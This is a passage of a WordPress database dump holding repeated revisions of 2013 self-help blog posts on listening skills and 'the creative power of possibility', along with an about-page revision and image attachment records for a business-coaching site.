of your interest.\r\n\r\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\r\n\r\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-revision-3', '', '', '2013-07-16 20:58:09', '2013-07-17 03:58:09', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-revision-3/', 0, 'revision', '', 0),
(2349, 2, '2013-07-16 21:01:49', '2013-07-17 04:01:49', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\r\n<h1><span style="color: #808080;">There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</span></h1>\r\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\r\n\r\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\r\n\r\nNothing is more elemental to your success than developing the habits of a master listener.\r\n\r\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\r\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\r\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\r\n\r\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\r\n\r\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\r\n\r\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\r\n\r\n•  With an open body position, face the person, look them straight in the eye.\r\n\r\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\r\n\r\n•  A simple and sincere nod is far more effective than formulating a response.\r\n\r\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\r\n\r\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\r\n\r\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\r\n\r\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\r\n\r\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-revision-4', '', '', '2013-07-16 21:01:49', '2013-07-17 04:01:49', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-revision-4/', 0, 'revision', '', 0);
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(2350, 2, '2013-07-16 21:01:58', '2013-07-17 04:01:58', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\r\n<h1><span style="color: #808080;">There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</span></h1>\r\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\r\n\r\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\r\n\r\nNothing is more elemental to your success than developing the habits of a master listener.\r\n\r\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\r\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\r\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\r\n\r\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\r\n\r\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\r\n\r\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\r\n\r\n•  With an open body position, face the person, look them straight in the eye.\r\n\r\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\r\n\r\n•  A simple and sincere nod is far more effective than formulating a response.\r\n\r\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\r\n\r\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\r\n\r\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\r\n\r\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\r\n\r\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\r\n\r\n<em>Editor’s note: </em>\r\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-revision-5', '', '', '2013-07-16 21:01:58', '2013-07-17 04:01:58', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-revision-5/', 0, 'revision', '', 0),
(2351, 2, '2013-07-16 21:03:50', '2013-07-17 04:03:50', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\n<h1><span style="color: #808080;">There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</span></h1>\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\n\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\n\nNothing is more elemental to your success than developing the habits of a master listener.\n\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\n\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\n\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\n\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\n\n•  With an open body position, face the person, look them straight in the eye.\n\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\n\n•  A simple and sincere nod is far more effective than formulating a response.\n\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\n\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\n\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\n\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\n\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\n\n<em>Editor’s note: </em>\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-revision-6', '', '', '2013-07-16 21:03:50', '2013-07-17 04:03:50', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-revision-6/', 0, 'revision', '', 0),
(2352, 2, '2013-07-16 21:08:50', '2013-07-17 04:08:50', '<h1><img class="alignnone size-full wp-image-2345" title="How to be a Master Listener" src="http://whc.fbdev.org/wp-content/uploads/2013/07/good-listener.jpg" alt="" width="495" height="309" /></h1>\n<h1><span style="color: #808080;">There’s a reason you have two ears and only one mouth. If you want to forge enduring relationships and create lots of opportunity, listen twice as much as you speak.</span></h1>\nWhen having a conversation, do you find yourself formulating your responses in your head while the other person is still speaking? In a business or sales conversation, do you ramble on about the quality of your products or services? Are you a good listener?\n\nI struggled for a very long time to understand the importance of being a good listener. My idea of listening was waiting to talk until after the other person finished speaking. That’s not listening, that’s just being polite! Big difference.\n\nNothing is more elemental to your success than developing the habits of a master listener.\n\nIf you want to kick up your game in life, and experience greater personal effectiveness, you must listen intently. When you listen to someone–really listen, you honor them. When you listen intently, you show them you care about them, their desires and concerns. You demonstrate, by listening, that you are person who can be confided in and trusted. This one skill alone is a force multiplier in buiding enduring relationships. Learn to be a master listener.\n<h2>To create competitive advantage for your business on a massive scale, listen more and sell less.</h2>\nNever make your sales conversations about your products or services. Customers can easily get whatever you’re selling anywhere and at a cheaper prices. Master listeners differentiate their value from the available alternatives by focusing on the client’s issues and desired outcomes.\n\nThe only way you can learn about what matters to your customer/client is to listen intently to what they have to say. You don’t need to speak at all! A sincere and empathetic nod every once and while is twice as effective in impacting your business development success.\n\nListening is a “first principle” and a fundamental attribute of all highly successful people. Listening enhances the quality of your relationships in every area of your life–business, spouse, partner, children, family and friends. Nothing has more attractive force and forges deeper relationships than listening intently to what someone has to say.\n\nHere are a few simple ways you can form the habit of being a master listener in all your conversations:\n\n•  With an open body position, face the person, look them straight in the eye.\n\n•  Be present. Put down your pen, fold up your electronic device, place your hands in your lap.\n\n•  A simple and sincere nod is far more effective than formulating a response.\n\n•  Respond by asking good questions, listen intently to the answer, confirm your understanding.\n\n•  Never interrupt or talk over someone. Nothing will diminish your effectiveness faster.\n\n•  Demonstrate high levels of empathy. You have to really care about what someone is saying. Even if the subject is not at the center of your interest.\n\nBecoming a master listener requires intentional effort and practice–but it''s not rocket science either. Just think how you feel when someone doesn''t listen to you. You certainly wouldn''t want anyone to feel that way when talking to you would you?\n\nWhen you form the habits of a master listener, you’ll be amazed how quickly people will fall in love with anything you have to say!\n\n<em>Editor’s note: </em>\n<em>Join me for the Quantum Leap Business Transformation Workshop. November 8, 2013 Ojai, California.  This one-day intensive workshop has been specifically designed to help early stage entrepreneurs and solo professionals take their business to the next level. Space is limited to 24 participants. <a title="Quantum Leap Workshop Registration" href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>f or registration details.</em>', 'How to be a Master Listener.', 0, '', 'inherit', 'open', 'open', '', '2344-autosave', '', '', '2013-07-16 21:08:50', '2013-07-17 04:08:50', '', 2344, 'http://www.whitehotcenter.com/2013/07/2344-autosave/', 0, 'revision', '', 0),
(2353, 2, '2013-07-17 17:35:22', '2013-07-18 00:35:22', '<img class="alignnone size-full wp-image-2354" title="The Creative Power of Possibility." src="http://whc.fbdev.org/wp-content/uploads/2013/07/the-moon.jpg" alt="" width="495" height="276" />\r\n<h1><span style="color: #808080;">This one word forms the basis for all creativity, innovation and invention. As long as you are breathing, everything you can think of is a possibility.</span></h1>\r\nI love the word “possibility”.  This one word represents the very essence of the entrepreneurial experience. In order to achieve anything in your business (and life for that matter), one must first believe achievement is possible. Nothing is more essential to bringing your ideas into form than the possibility of their manifestation.\r\n\r\nFor creative entrepreneurs and solo professionals, this one word provides the hope and framework for their belief, persistence and perseverance. Against all reason, odds and rational thinking, even when there is no available physical evidence to prove an idea, vision, goal or desire will come to be–as long as you are still among the living– everything you can imagine is a possibility.\r\n<h2><strong>Go ahead pinch yourself… are you still alive? If so, whatever idea is burning white hot inside you right now has a real chance for success! Nothing is impossible. Science and technology is proving this at exponential speed.</strong></h2>\r\n<strong></strong>Possibility resides in the formless word of your creative imagination. You won’t be able to find a possibility in the physical realm. Possibility is a potential outcome formed by your thoughts.\r\n\r\nAchievement is the result of the right action in the physical realm. When you think about taking your business to the next level, what do you believe is possible?  Possibility doesn’t care about your talent, capability, circumstances, connections, education, or bank account. Possibility is linked to your belief in yourself. If you believe what you want is possible or impossible, you’re right!\r\n\r\nNothing is more exciting than turning possibility into achievement. In fact, the real fun of achieving anything happens before the achievement.  It’s exciting to think of the possibilities. What are you thinking about right now? Are you afraid or are you hopeful?\r\n\r\nEverything that ever was, is now, or will be in the future begins with a thought. If the thought is powerful enough, it will engage your emotions. If you are emotionally connected to the thought, then you begin to believe it is indeed possible. When you believe strong enough in the possibility of achieving, then you will be effortlessly compelled into the right action.\r\n\r\n<strong>Thought+belief+action= the possibility of achievement.</strong>\r\n\r\nThomas Edison believed it was possible to provide light in every home and building in every city in the world long before he knew how to take the right actions. The very possibility fueled his creative mind and thousands of attempts to achieve it until finally he did.  Landing three people on the moon was once thought impossible too. This is a natural law of physics and the formula has been the same for every human achievement since the beginning of time.\r\n\r\nAt the quantum level, it’s all energy, or as I like to say, “It’s all goo”. Your thoughts make things from the goo! And in the goo, there is no shortage of supply!\r\n\r\nSo next time you’re feeling lost, overwhelmed, confused and stuck–stop everything, step back and ponder the creative power of limitless possibility of your success.', 'The Creative Power of Possibility.', 0, '', 'publish', 'open', 'open', '', 'the-creative-power-of-possibility', '', '', '2013-07-17 17:35:22', '2013-07-18 00:35:22', '', 0, 'http://www.whitehotcenter.com/?p=2353', 0, 'post', '', 0),
(2354, 2, '2013-07-17 17:23:56', '2013-07-18 00:23:56', '', 'The Creative Power of Possibility.', 0, '', 'inherit', 'open', 'open', '', 'the-moon', '', '', '2013-07-17 17:23:56', '2013-07-18 00:23:56', '', 2353, 'http://www.whitehotcenter.com/wp-content/uploads/2013/07/the-moon.jpg', 0, 'attachment', 'image/jpeg', 0),
(2355, 2, '2013-07-17 17:26:33', '2013-07-18 00:26:33', '<img class="alignnone size-full wp-image-2354" title="The Creative Power of Possibility." src="http://whc.fbdev.org/wp-content/uploads/2013/07/the-moon.jpg" alt="" width="495" height="276" />\n<h1>This one word forms the basis for all creativity, innovation and invention. As long as you are breathing, everything you can think of is a possibility.</h1>\nI love the word “possibility”.  This one word represents the very essence of the entrepreneurial experience. In order to achieve anything in your business (and life for that matter), one must first believe achievement is possible. Nothing is more essential to bringing your ideas into form than the possibility of their manifestation.\n\nFor creative entrepreneurs and solo professionals, this one word provides the hope and framework for their belief, persistence and perseverance. Against all reason, odds and rational thinking, even when there is no available physical evidence to prove an idea, vision, goal or desire will come to be–as long as you are still among the living– everything you can imagine is a possibility.\n<h2><strong>Go ahead pinch yourself… are you still alive? If so, whatever idea is burning white hot inside you right now has a real chance for success! Nothing is impossible. Science and technology is proving this at exponential speed.</strong></h2>\n<strong></strong>Possibility resides in the formless word of your creative imagination. You won’t be able to find a possibility in the physical realm. Possibility is a potential outcome formed by your thoughts.\n\nAchievement is the result of the right action in the physical realm. When you think about taking your business to the next level, what do you believe is possible?  Possibility doesn’t care about your talent, capability, circumstances, connections, education, or bank account. Possibility is linked to your belief in yourself. If you believe what you want is possible or impossible, you’re right!\n\nNothing is more exciting than turning possibility into achievement. In fact, the real fun of achieving anything happens before the achievement.  It’s exciting to think of the possibilities. What are you thinking about right now? Are you afraid or are you hopeful?\n\nEverything that ever was, is now, or will be in the future begins with a thought. If the thought is powerful enough, it will engage your emotions. If you are emotionally connected to the thought, then you begin to believe it is indeed possible. When you believe strong enough in the possibility of achieving, then you will be effortlessly compelled into the right action.\n\n<strong>Thought+belief+action= the possibility of achievement.</strong>\n\nThomas Edison believed it was possible to provide light in every home and building in every city in the world long before he knew how to take the right actions. The very possibility fueled his creative mind and thousands of attempts to achieve it until finally he did.  Landing three people on the moon was once thought impossible too. This is a natural law of physics and the formula has been the same for every human achievement since the beginning of time. At the quantum level, it’s all energy, or as I like to say, “It’s all goo”. Your thoughts make things from the goo! And in the goo, there is no shortage of supply!\n\nSo next time you’re feeling lost, overwhelmed, confused and stuck–stop everything, step back and ponder the creative power of limitless possibility of your success.', 'The Creative Power of Possibility.', 0, '', 'inherit', 'open', 'open', '', '2353-revision', '', '', '2013-07-17 17:26:33', '2013-07-18 00:26:33', '', 2353, 'http://www.whitehotcenter.com/2013/07/2353-revision/', 0, 'revision', '', 0),
(2356, 2, '2013-07-17 17:28:17', '2013-07-18 00:28:17', '<img class="alignnone size-full wp-image-2354" title="The Creative Power of Possibility." src="http://whc.fbdev.org/wp-content/uploads/2013/07/the-moon.jpg" alt="" width="495" height="276" />\r\n<h1>This one word forms the basis for all creativity, innovation and invention. As long as you are breathing, everything you can think of is a possibility.</h1>\r\nI love the word “possibility”.  This one word represents the very essence of the entrepreneurial experience. In order to achieve anything in your business (and life for that matter), one must first believe achievement is possible. Nothing is more essential to bringing your ideas into form than the possibility of their manifestation.\r\n\r\nFor creative entrepreneurs and solo professionals, this one word provides the hope and framework for their belief, persistence and perseverance. Against all reason, odds and rational thinking, even when there is no available physical evidence to prove an idea, vision, goal or desire will come to be–as long as you are still among the living– everything you can imagine is a possibility.\r\n<h2><strong>Go ahead pinch yourself… are you still alive? If so, whatever idea is burning white hot inside you right now has a real chance for success! Nothing is impossible. Science and technology is proving this at exponential speed.</strong></h2>\r\n<strong></strong>Possibility resides in the formless word of your creative imagination. You won’t be able to find a possibility in the physical realm. Possibility is a potential outcome formed by your thoughts.\r\n\r\nAchievement is the result of the right action in the physical realm. When you think about taking your business to the next level, what do you believe is possible?  Possibility doesn’t care about your talent, capability, circumstances, connections, education, or bank account. Possibility is linked to your belief in yourself. If you believe what you want is possible or impossible, you’re right!\r\n\r\nNothing is more exciting than turning possibility into achievement. In fact, the real fun of achieving anything happens before the achievement.  It’s exciting to think of the possibilities. What are you thinking about right now? Are you afraid or are you hopeful?\r\n\r\nEverything that ever was, is now, or will be in the future begins with a thought. If the thought is powerful enough, it will engage your emotions. If you are emotionally connected to the thought, then you begin to believe it is indeed possible. When you believe strong enough in the possibility of achieving, then you will be effortlessly compelled into the right action.\r\n\r\n<strong>Thought+belief+action= the possibility of achievement.</strong>\r\n\r\nThomas Edison believed it was possible to provide light in every home and building in every city in the world long before he knew how to take the right actions. The very possibility fueled his creative mind and thousands of attempts to achieve it until finally he did.  Landing three people on the moon was once thought impossible too. This is a natural law of physics and the formula has been the same for every human achievement since the beginning of time. At the quantum level, it’s all energy, or as I like to say, “It’s all goo”. Your thoughts make things from the goo! And in the goo, there is no shortage of supply!\r\n\r\nSo next time you’re feeling lost, overwhelmed, confused and stuck–stop everything, step back and ponder the creative power of limitless possibility of your success.', 'The Creative Power of Possibility.', 0, '', 'inherit', 'open', 'open', '', '2353-revision-2', '', '', '2013-07-17 17:28:17', '2013-07-18 00:28:17', '', 2353, 'http://www.whitehotcenter.com/2013/07/2353-revision-2/', 0, 'revision', '', 0),
(2357, 2, '2013-07-17 17:30:02', '2013-07-18 00:30:02', '<img class="alignnone size-full wp-image-2354" title="The Creative Power of Possibility." src="http://whc.fbdev.org/wp-content/uploads/2013/07/the-moon.jpg" alt="" width="495" height="276" />\n<h1><span style="color: #808080;">This one word forms the basis for all creativity, innovation and invention. As long as you are breathing, everything you can think of is a possibility.</span></h1>\nI love the word “possibility”.  This one word represents the very essence of the entrepreneurial experience. In order to achieve anything in your business (and life for that matter), one must first believe achievement is possible. Nothing is more essential to bringing your ideas into form than the possibility of their manifestation.\n\nFor creative entrepreneurs and solo professionals, this one word provides the hope and framework for their belief, persistence and perseverance. Against all reason, odds and rational thinking, even when there is no available physical evidence to prove an idea, vision, goal or desire will come to be–as long as you are still among the living– everything you can imagine is a possibility.\n<h2><strong>Go ahead pinch yourself… are you still alive? If so, whatever idea is burning white hot inside you right now has a real chance for success! Nothing is impossible. Science and technology is proving this at exponential speed.</strong></h2>\n<strong></strong>Possibility resides in the formless word of your creative imagination. You won’t be able to find a possibility in the physical realm. Possibility is a potential outcome formed by your thoughts.\n\nAchievement is the result of the right action in the physical realm. When you think about taking your business to the next level, what do you believe is possible?  Possibility doesn’t care about your talent, capability, circumstances, connections, education, or bank account. Possibility is linked to your belief in yourself. If you believe what you want is possible or impossible, you’re right!\n\nNothing is more exciting than turning possibility into achievement. In fact, the real fun of achieving anything happens before the achievement.  It’s exciting to think of the possibilities. What are you thinking about right now? Are you afraid or are you hopeful?\n\nEverything that ever was, is now, or will be in the future begins with a thought. If the thought is powerful enough, it will engage your emotions. If you are emotionally connected to the thought, then you begin to believe it is indeed possible. When you believe strong enough in the possibility of achieving, then you will be effortlessly compelled into the right action.\n\n<strong>Thought+belief+action= the possibility of achievement.</strong>\n\nThomas Edison believed it was possible to provide light in every home and building in every city in the world long before he knew how to take the right actions. The very possibility fueled his creative mind and thousands of attempts to achieve it until finally he did.  Landing three people on the moon was once thought impossible too. This is a natural law of physics and the formula has been the same for every human achievement since the beginning of time. At the quantum level, it’s all energy, or as I like to say, “It’s all goo”. Your thoughts make things from the goo! And in the goo, there is no shortage of supply!\n\nSo next time you’re feeling lost, overwhelmed, confused and stuck–stop everything, step back and ponder the creative power of limitless possibility of your success.', 'The Creative Power of Possibility.', 0, '', 'inherit', 'open', 'open', '', '2353-revision-3', '', '', '2013-07-17 17:30:02', '2013-07-18 00:30:02', '', 2353, 'http://www.whitehotcenter.com/2013/07/2353-revision-3/', 0, 'revision', '', 0),
(2358, 2, '2013-07-17 17:33:01', '2013-07-18 00:33:01', '<img class="alignnone size-full wp-image-2354" title="The Creative Power of Possibility." src="http://whc.fbdev.org/wp-content/uploads/2013/07/the-moon.jpg" alt="" width="495" height="276" />\n<h1><span style="color: #808080;">This one word forms the basis for all creativity, innovation and invention. As long as you are breathing, everything you can think of is a possibility.</span></h1>\nI love the word “possibility”.  This one word represents the very essence of the entrepreneurial experience. In order to achieve anything in your business (and life for that matter), one must first believe achievement is possible. Nothing is more essential to bringing your ideas into form than the possibility of their manifestation.\n\nFor creative entrepreneurs and solo professionals, this one word provides the hope and framework for their belief, persistence and perseverance. Against all reason, odds and rational thinking, even when there is no available physical evidence to prove an idea, vision, goal or desire will come to be–as long as you are still among the living– everything you can imagine is a possibility.\n<h2><strong>Go ahead pinch yourself… are you still alive? If so, whatever idea is burning white hot inside you right now has a real chance for success! Nothing is impossible. Science and technology is proving this at exponential speed.</strong></h2>\n<strong></strong>Possibility resides in the formless word of your creative imagination. You won’t be able to find a possibility in the physical realm. Possibility is a potential outcome formed by your thoughts.\n\nAchievement is the result of the right action in the physical realm. When you think about taking your business to the next level, what do you believe is possible?  Possibility doesn’t care about your talent, capability, circumstances, connections, education, or bank account. Possibility is linked to your belief in yourself. If you believe what you want is possible or impossible, you’re right!\n\nNothing is more exciting than turning possibility into achievement. In fact, the real fun of achieving anything happens before the achievement.  It’s exciting to think of the possibilities. What are you thinking about right now? Are you afraid or are you hopeful?\n\nEverything that ever was, is now, or will be in the future begins with a thought. If the thought is powerful enough, it will engage your emotions. If you are emotionally connected to the thought, then you begin to believe it is indeed possible. When you believe strong enough in the possibility of achieving, then you will be effortlessly compelled into the right action.\n\n<strong>Thought+belief+action= the possibility of achievement.</strong>\n\nThomas Edison believed it was possible to provide light in every home and building in every city in the world long before he knew how to take the right actions. The very possibility fueled his creative mind and thousands of attempts to achieve it until finally he did.  Landing three people on the moon was once thought impossible too. This is a natural law of physics and the formula has been the same for every human achievement since the beginning of time.\n\nAt the quantum level, it’s all energy, or as I like to say, “It’s all goo”. Your thoughts make things from the goo! And in the goo, there is no shortage of supply!\n\nSo next time you’re feeling lost, overwhelmed, confused and stuck–stop everything, step back and ponder the creative power of limitless possibility of your success.', 'The Creative Power of Possibility.', 0, '', 'inherit', 'open', 'open', '', '2353-revision-4', '', '', '2013-07-17 17:33:01', '2013-07-18 00:33:01', '', 2353, 'http://www.whitehotcenter.com/2013/07/2353-revision-4/', 0, 'revision', '', 0),
(2360, 2, '2013-08-03 16:46:50', '2013-08-03 23:46:50', '', 'Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', 'thomson60whc', '', '', '2013-08-03 16:46:50', '2013-08-03 23:46:50', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/thomson60whc.jpg', 0, 'attachment', 'image/jpeg', 0),
(2362, 2, '2013-08-03 17:15:47', '2013-08-04 00:15:47', '', 'THomson Seminar', 0, '', 'inherit', 'open', 'open', '', 'thomson-sd-8', '', '', '2013-08-03 17:15:47', '2013-08-04 00:15:47', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/thomson-sd-8.tiff', 0, 'attachment', 'image/tiff', 0),
(2363, 2, '2013-08-03 17:18:05', '2013-08-04 00:18:05', '', 'Thomson Leading Seminar', 0, '', 'inherit', 'open', 'open', '', 'unconference', '', '', '2013-08-03 17:18:05', '2013-08-04 00:18:05', '', 172, 'http://www.whitehotcenter.com/wp-content/uploads/2009/05/unconference.jpg', 0, 'attachment', 'image/jpeg', 0),
(2364, 2, '2013-07-20 10:49:53', '2013-07-20 17:49:53', '<h2><img class="alignnone size-full wp-image-2298" title="Thomson Dawson Business Transformation Consultant" src="http://whc.fbdev.org/wp-content/uploads/2009/05/whc.thomson-5.jpg" alt="" width="495" height="306" /></h2>\r\n<h2><span style="color: #808080;">Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success.</span></h2>\r\nI’m delighted you have found your way here. If you’re an early-stage entrepreneur or solo professional seeking information, inspiration and guidance on how to get your business to the next level, you’ve come to the right place!\r\n\r\n<strong>We are a tribe of people who think different and make a difference.</strong>\r\n\r\nThis is where I share and teach ideas for elevating the quality of your presence in your life and in the marketplace. The heart of our conversation here is centered in our mutual interest and burning desire to experience a creative life of success and significance in equal measure. Our shared passion and purpose bonds us together–we are creative entrepreneurs! We are a tribe of people at the intersection and integration of career and calling pursuing what deeply matters to us and improves the condition of our clients and customers.\r\n\r\nMy purpose is to share with you everything I’ve learned about life success from nearly three decades as a highly successful creative entrepreneur.  In my professional career as a marketing strategist, designer, communications and creative consultant, I’ve served executives and their teams in global companies and start-up entrepreneurs alike helping to get their personal performance and business success to the next level. My entire professional life has been engaged with success-minded entrepreneurs and solo professionals innovating new ideas, strategies and tactics to create their bigger future.\r\n\r\nThroughout the blog, you’ll find lots of articles presenting ideas, strategies and tactics for greater personal growth, professional leadership, lifestyle design, value creation, marketing, and business development. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire in your business and in your whole life.\r\n\r\nIf you find the ideas presented here useful, please share your comments here and with all your social networks. If you like, <a href="../">subscribe to receive the White Hot Center </a>posts directly in your email.\r\n<h3><strong>Work with me.</strong></h3>\r\nI offer issue-based business development consulting, group workshops and seminar trainings, tailored to entrepreneurs and solo professionals at the beginning stages of their business growth. Through these consulting and training programs,  you’ll gain more clarity and confidence to make quantum leaps toward greater impact, influence and income. <a title="White Hote Center Consulting" href="http://whc.fbdev.org/consulting/" target="_blank">Learn more</a> about how I can help you and your business organization be more successful.\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2013-07-20 10:49:53', '2013-07-20 17:49:53', '', 172, 'http://www.whitehotcenter.com/2013/07/172-revision-154/', 0, 'revision', '', 0),
(2365, 2, '2013-08-03 17:27:47', '2013-08-04 00:27:47', '', 'Thomson Facilitating Workshop', 0, '', 'inherit', 'open', 'open', '', 'unconference-2', '', '', '2013-08-03 17:27:47', '2013-08-04 00:27:47', '', 138, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/unconference.jpg', 0, 'attachment', 'image/jpeg', 0),
